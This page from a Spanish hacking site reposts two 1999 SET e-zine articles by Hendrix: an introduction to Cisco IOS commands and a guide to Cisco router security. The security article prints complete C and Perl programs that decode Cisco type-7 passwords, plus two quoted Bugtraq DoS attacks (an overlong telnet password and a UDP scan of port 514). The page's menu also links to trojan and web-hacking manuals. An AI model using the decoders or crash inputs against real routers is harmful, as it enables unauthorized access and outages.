web by spit
spit - introduccion a los routers cisco y sus seguridad
  UNEFA-NUCLEO-GUACARA-SECCION G-015-D
  CONTACTO (deja tu correo)
  Libro de visitantes
  tutoriales
  => como hackear paginas web
  => manual del troyano netbus para torpes
  => manual sobre el troyano subseven
  => manuales del backoriffice para torpes
  => informacion sobre troyanos
  => programacion Shell script unix
  => Manual del troyano netbus para torpes...
  => MANUAL DE SQL SERVE
  => RESUMEN DEL HACKING NT
  => manual mirc scripting
  => introduccion a los routers cisco y sus seguridad
  => MANUAL Q EXPLICA QEU ES UN IP Y REDES Y ETC PARA PRINCIPIANTES
  => explicaciones del dns, y dns abuse
  => hacking ataques atraves de hadware
  => cmo hacer mi primer scripts en ares
  => instrucciones de para hacer un script en ares
  => COMO HACKEAR PC X NETBIOS lo mas buscado por el ares
  => aprender a hackear pagina web
  => tecnica y metodo de scaneo
  => bug del unicodex
  => biblia del hacker
  deja tu web aqui!
  descargas
  LOGIN
  foro de programadores y otras areas
-[ 0x08 ]-------------------------------------------------------------------- -[ ROUTERS CISCO I ]--------------------------------------------------------- -[ by Hendrix ]-------------------------------------------------------SET-18- CURSO DE ROUTERS CISCO (I) ************************** por Hendrix, Este es el primer articulo que escribo para SET, si no os gusta lo siento por vosotros porque pienso escribir muchos mas... Introduccion: Los Routers son los aparatos encargados de encaminar los paquetes que circulan por una red, en definitiva son ellos los que forman el nucleo de Internet. Un Router recoge el paquete que le llega, lo analiza y decide cual es camino que debe seguir para llegar a su destino, haciendo de puente entre los distintos medios de transmision (Frame Relay, X.25, RDSI, etc..) y los distintos protocolos. Fisicamente un Router no es mas que un ordenador dedicado, es decir tiene su Microprocesador, su memoria y hasta su Sistema Operativo! La empresa CISCO acapara el 70% del mercado de los routers, es algo asi como Microsoft en el software. Para comprender el funcionamiento practico de estos aparatos lo mejor es conocer el Sistema Operativo de Cisco: CISCO IOS. [IOS stands for Internetworking Operating System, capici?] Modelos: El modelo mas sencillo de CISCO es el 761, un peque~o router RDSI pensado para peque~as oficinas. Este router no tiene sistema operativo y se configura localmente conectandose al puerto serie. Tambien puede configurarse via telnet. La serie 1000 de Cisco ya incorpora el CISCO IOS y sobre este tipo de aparatos nos centraremos en el curso. Los otros modelos: series 2000, 2600, 3000, 4000, etc. funcionan basicamente igual, eso si, contra mas grande sea el modelo mas cosas tiene, mola mas y vale mas pelas. Otro dia podria dedicarle mas tiempo a explicar como es cada modelo (si a alguien le interesa que me lo diga o que mire el la web de Cisco). Vamos pa'dentro: Lo mejor que podemos hacer es entrar en un Router y asi queda todo mucho mas claro que si suelto una parrafada teorica de las mias. Vamos p'alla, suponemos que hacemos un telnet a la direccion x.x.x.x donde esta el router. Esto es lo que pasara: > telnet x.x.x.x User Access Verification Password: ******** router> $$$ Entramos la contrase~a y ya estamos dentro (en principio no pide login) $$$ Ahora nos aparece el interprete de comandos. El comando mas sencillo es $$$ el Help, "?" que nos da una lista de los comandos posibles router> ? <1-99> Session number to resume connect Open a terminal connection disable Turn off privileged commands disconnect Disconnect an existing network connection enable Turn on privileged commands exit Exit from the EXEC help Description of the interactive help system lock Lock the terminal login Log in as a particular user logout Exit from the EXEC name-connection Name an existing network connection pad Open a X.29 PAD connection ping Send echo messages ppp Start IETF Point-to-Point Protocol (PPP) resume Resume an active network connection show Show running system information slip Start Serial-line IP (SLIP) systat Display information about terminal lines telnet Open a telnet connection terminal Set terminal line parameters traceroute Trace route to destination tunnel Open a tunnel connection where List active connections x3 Set X.3 parameters on PAD $$$ Estos no son todos los comandos que tiene ya que como veis no hay ninguno $$$ de configuracion, para ver mas cosa hay que entrar en modo enable con la $$$ orden "enable" (evidente, no?) router> enable password: ******** router# ? <1-99> Session number to resume bfe For manual emergency modes setting clear Reset functions clock Manage the system clock configure Enter configuration mode connect Open a terminal connection copy Copy a config file to or from a tftp server debug Debugging functions (see also 'undebug') disable Turn off privileged commands disconnect Disconnect an existing network connection enable Turn on privileged commands erase Erase flash or configuration memory exit Exit from the EXEC help Description of the interactive help system lock Lock the terminal login Log in as a particular user logout Exit from the EXEC name-connection Name an existing network connection no Disable debugging functions pad Open a X.29 PAD connection ping Send echo messages ppp Start IETF Point-to-Point Protocol (PPP) reload Halt and perform a cold restart resume Resume an active network connection rsh Execute a remote command send Send a message to other tty lines setup Run the SETUP command facility show Show running system information slip Start Serial-line IP (SLIP) start-chat Start a chat-script on a line systat Display information about terminal lines telnet Open a telnet connection terminal Set terminal line parameters test Test subsystems, memory, and interfaces traceroute Trace route to destination tunnel Open a tunnel connection undebug Disable debugging functions (see also 'debug') verify Verify checksum of a Flash file where List active connections write Write running configuration to memory, network, or terminal x3 Set X.3 parameters on PAD $$$ Nos ha pedido otra password y ha cambiado el prompt de ">" a "#" para $$$ indicar el modo. Para volver al modo normal solo hay que introducir el $$$ comando "disable". Ahora aparecen mas opciones. Hare una parada en la demostracion para hacer una serie de explicaciones (muy por encima, eso si). En principio hay cuatro tipos de comandos: 1. Comando "Show": muestra la configuracion o los datos de un servicio 2. Comandos de configuracion (hay que entrar en modo "configure") 3. Comandos "Debug": Hace que el router envie una secuencia de testeo y devuelve un informe 4. Comandos TCP/IP de testeo: telnet, ping, traceroute, etc. estos paso de explicarlos porque ya estareis hartos de usarlos $$$ A~adiendo "?" a un comando nos devuelve una ayuda, por ejemplo: router# show ip ? accounting The active IP accounting database aliases IP alias table arp IP ARP table cache IP fast-switching route cache community-list List community-list eigrp IP-EIGRP show commands interface IP interface status and configuration irdp ICMP Router Discovery Protocol masks Masks associated with a network nhrp NHRP information protocols IP routing protocol process parameters and statistics redirects IP redirects route IP routing table sockets Open IP sockets tcp TCP/IP header-compression statistics traffic IP protocol statistics $$$ Volvemos al router, utilizare las ordenes mas simples y las ire $$$ comentando: router#show users Line User Host(s) Idle Location * 1 vty 0 idle 0 Hendrix.esmentira.com $$$ Vaya, estoy solo. (La explicacion de "Line" y "vty" para el proximo dia, $$$ vale?) router#show version Cisco Internetwork Operating System Software IOS (tm) 1000 Software (C1005-Y-M), Version 10.3(7), RELEASE SOFTWARE (fc1) Copyright (c) 1986-1995 by cisco Systems, Inc. Compiled Wed 01-Nov-95 15:34 by vatran Image text-base: 0x05008000, data-base: 0x023F5324 ROM: System Bootstrap, Version 5.3.2(6) [vatran 6], RELEASE SOFTWARE (fc1) ROM: 1000 Bootstrap Software (C1000-RBOOT-R), Version 10.3(6), RELEASE SOFTWARE (fc1) router uptime is 50 weeks, 7 days, 13 hours, 57 minutes System restarted by power-on System image file is "flash:c1005-y-mz.103-7", booted via flash cisco 1000 (68360) processor (revision 0x00) with 3584K/512K bytes of memory. Processor board serial number 32325888 Bridging software. X.25 software, Version 2.0, NET2, BFE and GOSIP compliant. 1 Ethernet/IEEE 802.3 interface. 1 Serial network interface. 8K bytes of non-volatile configuration memory. 4096K bytes of processor board PCMCIA flash (Device not programmable) $$$ Tachan!!! Este es el Router: un Cisco 1005 con Cisco IOS 10.3. $$$ Tambien podeis ver otras cosas: Microprocesador 68360, (Motorola, como el $$$ Amiga!) 4 Megas de RAM, una tarjeta PCMCIA con 4 Megas mas, una tarjeta $$$ Ethernet y otra tarjeta serie (para una conexion Frame Relay, se $$$ supone) $$$ Tambien incluye software para X.25 y software de Bridge, aunque no se $$$ utilizan router#show interfaces Ethernet0 is up, line protocol is up Hardware is QUICC Ethernet, address is 0000.0f112.ffff (bia 0000.0f112.ffff) Internet address is 197.111.1.2 255.255.255.0 MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec, rely 255/255, load 1/255 Encapsulation ARPA, loopback not set, keepalive set (10 sec) ARP type: ARPA, ARP Timeout 4:00:00 Serial0 is up, line protocol is up Serial0.1 is up, line protocol is up Hardware is QUICC Serial Internet address is 10.1.1.1 255.255.255.252 MTU 1500 bytes, BW 1024 Kbit, DLY 20000 usec, rely 255/255, load 1/255 Encapsulation FRAME-RELAY IETF Serial0.2 is up, line protocol is up Hardware is QUICC Serial Internet address is 10.1.1.2 255.255.255.252 MTU 1500 bytes, BW 1024 Kbit, DLY 20000 usec, rely 255/255, load 1/255 Encapsulation FRAME-RELAY IETF $$$ Tambien aparecen estadisticas de paquetes cursados, paquetes erroreos, $$$ etc, pero me lo salto porque ocupa mucho. Lo que si podeis ver es la $$$ configuracion de la tarjeta Ethernet (IP:197.111.1.2), 10Mb de BW. $$$ Tambien tiene una tarjeta serie con 2 conexiones Frame Relay a 10.1.1.1 y $$$ a 10.1.1.2 El ancho de banda es de 1 Mb cada conexion. router#show arp Protocol Address Age (min) Hardware Addr Type Interface Internet 197.111.1.1 87 0600.0c07.ffff ARPA Ethernet0 Internet 197.111.1.11 7 0600.09d0.3fe0 ARPA Ethernet0 Internet 197.111.1.10 4 0660.b0ee.e4ee ARPA Ethernet0 Internet 197.111.1.19 3 0600.09ee.7e74 ARPA Ethernet0 Internet 197.111.1.18 1 0600.0ee9.a6aa ARPA Ethernet0 Internet 197.111.1.14 21 0600.0333.5aab ARPA Ethernet0 Internet 197.111.1.20 9 0600.099a.2633 ARPA Ethernet0 Internet 197.111.1.102 32 0620.aff6.5335 ARPA Ethernet0 $$$ siempre va bien ver el resto de ordenadores conectados a la red local, $$$ Veamos ahora el fichero de configuracion: $$$ Los comentarios del fichero son mios, no os vayais a liar. router#show configuration version 10.3 /* Version del Cisco IOS */ service udp-small-servers /* servicios activos */ service tcp-small-servers ! hostname router /* nombre del router */ ! enable secret 5 $7$5fr3$Lblju33t7NjnSUThFgxy34 /* clave secreta encriptada */ enable password holahola /* clave para acceso por el puerto serie */ ! ! interface Ethernet0 /* Configuracion de la T.de Red */ ip address 197.111.1.2 255.255.255.0 ! interface Serial0 /* configuracion de Frame Relay */ no ip address encapsulation frame-relay IETF frame-relay lmi-type ansi ! interface Serial0.1 point-to-point ip address 10.1.1.1 255.255.255.252 frame-relay interface-dlci 510 ! interface Serial0.2 point-to-point ip address 10.1.1.2 255.255.255.252 frame-relay interface-dlci 512 ! ip host otro1 10.1.1.1 ip host otro2 10.1.1.2 snmp-server community public RO ! line con 0 exec-timeout 40 0 line vty 0 5 /* conf. acceso remoto */ password hola login ! end $$$ El DLCI es como la direccion IP pero para una red Frame Relay. $$$ (Que estais pidiendo un cursillo de Frame Relay?, bueno, me lo apunto $$$ para otra). router> exit Se acabo por hoy, otro dia mas. PD: no os molesteis en copiar las IP de este ejemplo ya que TODOS los datos son falsos, no vaya a ser que se moleste el due~o del router -[ 0x11 ]-------------------------------------------------------------------- -[ SEGURIDAD EN ROUTERS CISCO ]---------------------------------------------- -[ by Hendrix ]-------------------------------------------------------SET-20- ///////////////////////////////////////////////////////////////////// ///// ///// ///// SEGURIDAD EN ROUTERS CISCO v1.0 ///// ///// ///// ///// por Hendrix Julio-1999 ///// ///// ///// ///////////////////////////////////////////////////////////////////// Disclamer: Toda la informacion que a aparece en este documento ha sido extraida de los manuales de Cisco que aparecen en su web asi que no me toqueis los huevos con resposabilidades legales. Introduccion: En SET#18 escribi un articulo explicando el funcionamiento de un router Cisco y de los comandos mas usuales del Cisco IOS (show, ping, etc..) Lo titule curso de routers cisco I, pues bien, supuestamente esta seria la leccion 2 pero no me gustaba el formato y he decidido cambiarlo. Que asi mola mas. En vez de ir haciendo partes ire ampliando las versiones de este documento, si tengo ganas, claro... 0. Indice --------- 1. Ficheros de Configuracion 2. Como acceder al router 3. Acceso Consola 4. Acceso Telnet 5. Password modo enable 6. Acceso SNMP 7. Acceso TFTP 8. Firewall 9. Autenticacion local 10. Autenticacion Remota (RADIUS/TACACS+) 11. Control de acceso PAP/CHAP 12. Firewall PIX 13. Bugs DoS 1. Ficheros de configuracion ----------------------------- El Cisco IOS tiene solo dos ficheros, el "running-config" y el "startup-config" que se pueden ver con el comando show en modo enable. router# show running-config Estos archivos se pueden modificar desde la linea de comandos del router o cargando el fichero mediante una conexion TFTP. El running-config es la configuracion que se esta utilizando es ese momento, el fichero se encuentra en la memoria volatil por lo que los cambios que se realicen no seran permanentes. Para hacer los cambios permanentes habra que utilizar la orden. router# copy running-config startup-config El startup-config se graba en la memoria no volatil (NVRAM) y sera el fichero de configuracion utilizado al reiniciar el router. 2. Como acceder al Router -------------------------- Existen varias maneras de acceder al router: - Consola: acceso a traves del puerto serie - Telnet: tipico - SNMP - TFTP Como ya dije en el anterior articulo, al entrar al router por telnet o por consola nos aparece el siguiente mensaje: User Access Verificafion Password: ******* router> y entramos al router en modo no-privilegiado lo que nos permite monitorizar el trafico pero sin poder modificar la configuracion. Para acceder al modo privilegiado: router> enable Password: ******* router# Ya estamos en modo privilegiado, se diferencia por el promt #. IOS no utiliza logins normalmente, solo passwords. 3. Acceso por Consola ----------------------- En el fichero de configuracion nos encontramos con las siguientes lineas line console 0 /* line con 0, tambien vale */ login password hola exec-timeout 1 30 Cada tipo de acceso tiene un numero de lineas asociadas, el acceso consola tiene solo una line, el 0. Login indica el tipo de autenticacion de usuario, en este caso ninguno. Password indica la contrase~a en claro. Se puede encriptar de modo parecido a unix. El comando exec-timeout indica el tiempo maximo que puede estar activa la conexion, en este caso 1 minuto 30 segundos. En el ejemplo del pasado articulo teniamos esto: ! line con 0 exec-timeout 40 0 No se declaraba ninguna contrase~a para acceder por consola y se establece un timeout de 40 minutos (por defecto el timeout es de 10 minutos) 4. Acceso Telnet ------------------ Cada puerto telnet recibe el nombre de terminal virtual (VTY). line vty 0 4 login password prueba En este ejemplo se configuran 5 puertos virtuales del 0 al 4 y todos con la misma password "prueba". Se puede restringir el acceso por telnet definiendo una lista. La listas se definen con el siguente esquema: >>> access-list [numero] [permit/deny] IP mascara Ejemplo: access-list 12 permit 192.85.55.0 0.0.0.255 line vty 0 4 access-class 12 in En este caso se permite el acceso a los puertos vty solo desde las maquinas de la red 192.85.55.0, las listas se explicaran mas adelante cuando hablemos de firewalls. Se pueden definir listas del 0 al 99 y para activarlas se utliza la orden: access-class [numero] in Se puede acceder via telnet a diferentes puertos TCP del router. En las versiones de IOS anteriores a 9.1(11.5), 9.21(3.2) y 10.0 (¿? cuantas versiones, menudo caos que llevan los de cisco!) los puertos son los siguientes: 7: Echo 9: Discard 23: Telnet 79: Finger 1993: SNMP sobre TCP del 2001 al 2999: Telnet al puerto auxiliar (AUX), terminal (TTY) y terminal virtual (VTY) del 3001 al 3999: Telnet a los puertos rotary del 4001 al 4999: Telnet modo stream, mirror del rango 2000 del 5001 al 5999: Telnet modo stream, mirror del rango 3000 del 6001 al 6999: Telnet modo binario, mirror del rango 2000 del 7001 al 7999: Telnet modo binario, mirror del rango 3000 del 8001 al 8999: Xremote (solo servidores de comunicacion) del 9001 al 9999: Reversal Xremote (solo servidores de comunicacion) del 10001 al 19999: Reverse Xremote rotary Los puertos rotary (3000, 5000, 7000 y 10000) deben ser configurados explicitamente con el comando rotary. De lo contrario no funcionaran. Por cierto no me preguntes que significa lo de rotary ni lo de Xremote porque yo tampoco lo se [Daemon: Xremote, que empieza por X y es distribuido?. X Windows!. Xremote es un protocolo para "mejorar" el rendimiento de XWindows sobre enlaces en serie. En cuanto a rotary pues primero lo traducimos a castellano y eso ayuda :-DD, aluego descubrimos que se trata de agrupar lineas en "rotary groups" y mas tarde descubrimos que el grupo rotary 1 esta en el puerto 3001, el rotary 2 en el 3002 y asi. Normalmente se hace para distribuir lineas en DDR (Dial on Demand Routing), para "reservarse" lineas (netadmin rules!) o..moveos vosotros que seguro que aprendeis mas] En las versiones 9.1(11.5), 9.21(3.2), 10.0 y posteriores se arreglo el caos de puertos abiertos quedando definitivamente asi: 7: Echo 9: Discard 23: Telnet 79: Finger 1993: SNMP sobre TCP 2001: Puerto auxiliar (AUX) 4001: Puerto auxiliar (AUX) modo stream 6001: Puerto auxiliar (AUX) modo binario Se puede cerrar el puerto finger con el comando "no service finger", para cerrar los puertos 7 y 9 se puede utilizar el comando "no service tcp-small-servers" y, para los puertos telnet, aux y SNMP se pueden definir listas de acceso. 5. Password modo enable ------------------------- router# enable secret pepe Con este comando creamos una contrase~a para el modo enable, igual para cualquier tipo de acceso (consola, telnet, ...). Recordad que para que el cambio sea permanente es necesario copiarlo en el startup-config. Esta contrase~a se puede encriptar con el comando enable secret. router# configure terminal router(config)# enable secret pepe router(config)# exit router# show running-config Bulding configuration ... Current configuration: ! version 11.1 ! bla, bla, bla ... enable secret 5 $1$h7dd$VTNs4.BAfQMUU0Lrvmw6570 ! ! bla, bla, bla ... Entramos en modo configure y creamos la password enable, en este caso "pepe" con el comando enable secret. Salimos y abrimos el fichero de configuracion donde podemos ver la password encriptada. En el manual se pide que se realicen posteriormente los pasos siguientes, no se que sentido tienen pero lo pongo por si acaso: router# configure terminal router(config)# enable secret 5 $1$h7dd$VTNs4.BAfQMUU0Lrvmw6570 router(config)# exit La clave se encripta con el algoritmo MD5, un algoritmo muy fuerte. Finalmente se copia al startup para que los cambios sean permanentes. router# copy running-config startup-config 6. Acceso SNMP ---------------- El comando para configurar este acceso es el siguiene, snmp-server community [RO|RW] [lista de acceso] por ejemplo, para permitir acceso SNMP no privilegiado snmp-server community public RO 1 Si queremos dar acceso solo desde las maquinas 1.1.1.1 y 2.2.2.2; access-list 1 permit 1.1.1.1 access-list 1 permit 2.2.2.2 snmp-server community public RO 1 Para dar acceso al modo privilegiado con el string private: snmp-server community private RW 1 El acceso privilegiado permite modificar la configuracion, en cambio, el no privilegiado solo permite monitorizar el trafico. 7. Acceso TFTP ---------------- Se puede modificar el archivo de configuracion via TFTP, este metodo es mas comodo pero tambien tiene sus peligros ya que puede ser utilizado por otras personas para acceder al router sin autorizacion (y no miro a nadie ) enviando un fichero de configuracion modificado. Ademas del TFTP se pude utilizar el Maintenance Operations Protocol (MOP), LAT o X.25. 8. FIREWALL ------------- Un router Cisco pueden funcionar como un firewall a nivel de red permitiendo o denegando el acceso a IPs determinadas. Esto se consigue con las listas de acceso: access-list nn [permit/deny] ip IP-in Mask-in IP-out Mask-out Para permitir el acceso a las maquinas 147.22.x.x acces-list 101 permit ip 147.22.0.0 0.0.255.255 0.0.0.0 255.255.255.255 Se pueden filtrar por otros protocolos [tcp, udp y icmp] en lugar de por ip. Por ejemplo, para denegar el acceso a conexiones udp a las maquinas de la red 156.23.22.0 access-list 101 deny udp 156.23.22.0 0.0.0.255 0.0.0.0 255.255.255.255 Una opcion imprescindible en toda lista de acceso que se precie es impedir los ataques por spoofing, es muy sencillo solo tenemos que restringir los accesos con una ip interior que vienen del exterior, suponiendo que nuestra red es la 123.2.0.0 solo tenemos que hacer access-list 102 deny ip 123.2.0.0 0.0.255.255 0.0.0.0 255.255.255.255 Tambien se puede filtrar por puertos, especificando un puerto concreto (eq x) o un rango (gt x, mas grande que x por ejemplo) Para permitir trafico Domain Name System (DNS) y Network Time Protocol (NTP) usamos esto: access-list 101 permit ip 0.0.0.0 255.255.255.255 0.0.0.0 255.255.255.255 eq 53 access-list 101 permit ip 0.0.0.0 255.255.255.255 0.0.0.0 255.255.255.255 eq 123 Este ejemplo deniega el acceso al Network File System (NFS) usando el puerto UDP, access-list 101 deny udp 0.0.0.0 255.255.255.255 0.0.0.0 255.255.255.255 eq 2049 ... (y podria estar escribiendo ejemplos hasta cansarme, que es precisamente lo que acaba de pasarme ... ) Despues de definir la lista de acceso es necesario guardala en la memoria no volatil (NVRAM) y aplicarla a un interface concreto, por ejemplo interface ethernet 0 ip access-group 101 9. Autenticacion Local ------------------------ Se pueden declarar logins y password personalizados, el comando es el siguiente username juan password 7 hola123 username pedro password 7 aaafr3 Con la opcion 7 el password se guarda cifrado, con 0 el password se guardaria en claro. Al entrar al router tendriamos: User Access Verification Username: juan Password: hola123 router> La encriptacion utilizada es muy pobre y puede romperse facilmente, el motivo es que en algunos casos, como en el protocolo CHAP, el propio router necesita la clave en claro. El objetivo de esta esta encriptacion es impedir que alguien obtenga la clave a simple vista. Se trata pues de una debilidad asumida por la propia compa~ia. En el caso de la clave enable se utiliza el algoritmo "5" que que como ya dijimos es el MD5 y es indescifrable. A continuacion muestro dos programas, uno en C y otro en Perl que descifran el algoritmo "7". <++> set_020/cisco/ciscocrack.c /* This code is originally from a Bugtraq post by Jared Mauch . I patched it with an improved translation table by Janos Zsako -Fyodor (fyodor@dhp.com) */ #include #include char xlat[] = { 0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42 }; char pw_str1[] = " password 7 "; char pw_str2[] = "enable password 7 "; char pw_str3[] = "ip ftp password 7 "; char pw_str4[] = " ip ospf message-digest-key 1 md5 7 "; char *pname; cdecrypt(enc_pw, dec_pw) char *enc_pw; char *dec_pw; { unsigned int seed, i, val = 0; if(strlen(enc_pw) & 1) return(-1); seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0'; if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1])) return(-1); for (i = 2 ; i <= strlen(enc_pw); i++) { if(i !=2 && !(i & 1)) { dec_pw[i / 2 - 2] = val ^ xlat[seed++]; val = 0; } val *= 16; if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) { val += enc_pw[i] - '0'; continue; } if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') { val += enc_pw[i] - 'A' + 10; continue; } if(strlen(enc_pw) != i) return(-1); } dec_pw[++i / 2] = 0; return(0); } usage() { fprintf(stdout, "Usage: %s -p n", pname); fprintf(stdout, " %s n", pname); return(0); } main(argc,argv) int argc; char **argv; { FILE *in = stdin, *out = stdout; char line[257]; char passwd[65]; unsigned int i, pw_pos; pname = argv[0]; if(argc > 1) { if(argc > 3) { usage(); exit(1); } if(argv[1][0] == '-') { switch(argv[1][1]) { case 'h': usage(); break; case 'p': bzero(passwd, sizeof(passwd)); if(cdecrypt(argv[2], passwd)) { fprintf(stderr, "Error.n"); exit(1); } fprintf(stdout, "password: %sn", passwd); break; default: fprintf(stderr, "%s: unknow option.", pname); } return(0); } if((in = fopen(argv[1], "rt")) == NULL) exit(1); if(argc > 2) if((out = fopen(argv[2], "wt")) == NULL) exit(1); } while(1) { for(i = 0; i < 256; i++) { if((line[i] = fgetc(in)) == EOF) { if(i) break; fclose(in); fclose(out); return(0); } if(line[i] == 'r') i--; if(line[i] == 'n') break; } pw_pos = 0; line[i] = 0; if(!strncmp(line, pw_str1, strlen(pw_str1))) pw_pos = strlen(pw_str1); if(!strncmp(line, pw_str2, strlen(pw_str2))) pw_pos = strlen(pw_str2); if(!strncmp(line, pw_str3, strlen(pw_str3))) pw_pos = strlen(pw_str3); if(!strncmp(line, pw_str4, strlen(pw_str4))) pw_pos = strlen(pw_str4); if(!pw_pos) { fprintf(stdout, "%sn", line); continue; } bzero(passwd, sizeof(passwd)); if(cdecrypt(&line[pw_pos], passwd)) { fprintf(stderr, "Error.n"); exit(1); } else { if(pw_pos == strlen(pw_str1)) fprintf(out, "%s", pw_str1); else if (pw_pos == strlen(pw_str2)) fprintf(out, "%s", pw_str2); else if (pw_pos == strlen(pw_str3)) fprintf(out, "%s", pw_str3); else if (pw_pos == strlen(pw_str4)) fprintf(out, "%s", pw_str4); fprintf(out, "%sn", passwd); } } } <--> Date: Mon, 12 Jan 1998 00:36:09 +0200 From: Riku Meskanen To: BUGTRAQ@NETSPACE.ORG Subject: perl version of that tin opener (IOS decrypt.c) Howdy, Squeezed the decrypt.c[1] with perl a bit, just for seeing better how simple that IOS type 7 encryption really is. [1] http://www.rootshell.com/archive-Rbf4ahcmxzw5qn2S/199711/ciscocrack.c :-) riku <++> set_020/cisco/ciscocrack.pl #!/usr/bin/perl -w # $Id: ios7decrypt.pl,v 1.1 1998/01/11 21:31:12 mesrik Exp $ # # Credits for orginal code and description hobbit@avian.org, # SPHiXe, .mudge et al. and for John Bashinski # for Cisco IOS password encryption facts. # # Use for any malice or illegal purposes strictly prohibited! # @xlat = ( 0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42 ); while (<>) { if (/(password|md5)s+7s+([da-f]+)/io) { if (!(length($2) & 1)) { $ep = $2; $dp = ""; ($s, $e) = ($2 =~ /^(..)(.+)/o); for ($i = 0; $i < length($e); $i+=2) { $dp .= sprintf "%c",hex(substr($e,$i,2))^$xlat[$s++]; } s/7s+$ep/$dp/; } } print; } # eof <--> 10. Autenticacion Remota ( RADIUS / TACACS+ ) ---------------------------------------------- Cuando se tiene un numero elevado de routers llevar un control de password local en cada un de ellos puede suponer un follon considerable. La opcion utilizada en estos casos es instalar un servidor de autenticacion remota. Las posibles opciones son RADIUS (Remote Authentication Dial-In User Service) y TACACS+ (Terminal Access Controller Access Control System con mejoras propietarias de Cisco), estos sistemas se implementan generalmente en servidores Unix. Estos protocolos estan definidos en sus orrespondientes RFC. Primeramente hay que configurar en el router la maquina que hara de servidor de control de acceso. Por ejemplo, tacacs-server host 194.147.12.12 tacacs-server key pepito En este ejemplo se define la IP del servidor TACACS+ y la clave de cifrado para las comunicaciones entre el router y el servidor "pepito". Igualmente para RADIUS tenemos, radius-server host alcatraz radius-server key pepito radius-server retransmit 4 radius-server timeout 12 Se puede indicar el nombre del servidor de control de acceso en lugar de su IP, ademas tambien es posible otras opciones como indicar el numero de intentos maximos o el numero de segundos maximos permitido. El comando "tacacs-server last-resort [password|succeed] es interesante ya que indica la forma de autenticar en caso de que el servidor tacacs no funcione. La opcion password definiria un password y la opcion succeed permitiria acceder sin password (una opcion muuuy peligrosa!!!!). Para que un usuario se autentifique en el servidor RADIUS utilizamos, line vty 0 4 login radius o si usamos TACACS+, line vty 0 4 login tacacs 11. Control de acceso PAP/CHAP ------------------------------- Si queremos cifrar las passwords sin utilizar claves nos encontramos con un dilema. Podemos enviar las claves en claro y mantener un directorio de claves cifradas en el servidor (ej, /etc/passwd) o por el contrario podemos enviar la clave cifrada guardar una copia en claro en el servidor. PAP es una implementacion de la primera opcion y CHAP es una implementacion de la segunda. PAP es susceptible a ataques de sniffers y CHAP lo es frente a intrusiones en el servidor. En Infovia, el protocolo PPP utiliza PAP para enviar la contrase~a. Lo que permitiria capturarla si pinchasemos la linea telefonica del usuario. Si emplemos un control de acceso para una red de routers con un RADIUS o con TACACS+, se aconseja utilizar CHAP ya que el servidor se supone seguro. 12. PIX Firewall ----------------- El PIX Firewall es un aparato que realiza las funciones de firewall. Tiene la ventaja de que funciona con Cisco IOS y que es un aparato dedicado por lo que en principio deberia de tener pocos bugs en su S.O. Existen varios modelos en funcion del trafico que deben soportar. En principio parece una buena opcion compacta de Firewall a todos los niveles. Se puede programar por telnet o por web y permite las mismas prestaciones de filtrar y crer logs que otros softwares como el famoso Firewall-1. 13. Bugs DoS ------------- El Cisco IOS es un S.O. dedicado por lo que es muy dificil encontrar bugs que permitan un acceso en modo privilegiado, lo que si existen son varios bugs que provocan un bloqueo de la maquina o la obligan a reiniciar. Por supuesto Cisco pone a disposicion toda una serie de parches y nuevas versiones del IOS que corrigen estos errores. Si quieres mas informacion sobre estos bugs puedes recurrir a los sitios de siempre: Bugtraq, CERT o la propia Cisco... Como ejemplo pondre un par de ataques DoS que he encontrado por ahi: a)--------------------------------------------------- Date: Thu, 11 Dec 1997 01:11:13 -0500 From: Laslo Orto To: BUGTRAQ@NETSPACE.ORG Subject: cisco 76x buffer overflow El exploit es muy simple y cuelga los modelos mas sencillos de cisco, los 76x con la version del IOS restringida a 4 usuarios, ejemplo: telnet cisco762.domain.com Trying 1.2.3.4... Connected to 1.2.3.4. Escape character is '^]'. Enter Password:Poner_una_contrase~a_muyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy yyyyyyyyyyyyyyyyyyyyyyyyyyyy_larga y podreis disfrutar un maravilloso espectaculo de luces que significa que el router esta reiniciando. b)---------------------------------------------------- Date: Tue, 22 Dec 1998 13:39:30 -0800 From: John Bashinski Reply-To: Bugtraq List To: BUGTRAQ@netspace.org Subject: Cisco IOS 12.0 security bug Se nos ha reportado que un escaneo UDP con la herramienta NMAP provoca un crash en la version Cisco IOS 12.0 y hemos confirmado que el problema existe y que afecta a todas las variantes de la version 12.0 asi como a varias variantes de la version 11.3. El problema parece causado por el envio de paquetes al puerto syslog del router (puerto UDP 514). Se puede solucionar a~adiendo una lista de acceso que restrinja ese puerto, algo parecido a esto: ! Deny all multicasts to port 514 access-list 101 deny udp any 224.0.0.0 31.255.255.255 eq 514 ! Deny old-style broadcasts access-list 101 deny udp any host 0.0.0.0 eq 514 ! Deny network-specific broadcasts (*example*; depends on local netmasks) access-list 101 deny udp any 192.31.7.255 eq 514 ! Deny router's own addresses access-list 101 deny udp any host eq 514 access-list 101 deny udp any host eq 514 access-list 101 deny udp any host eq 514 ... etc ... access-list 101 permit ip any any interface ip access-group 101 in interface ip access-group 101 in ... etc ... Si encuentras algun ataque como este, por favor reportalo a Cisco a la direccion "security-alert@cisco.com". Para mas informacion sobre procedimiento de seguridad de Cisco ver, http://www.cisco.com/warp/customer/791/sec_incident_response.shtml -- J. Bashinski Cisco Systems Esto es todo por hoy Hendrix hendrix66@iname.com
 
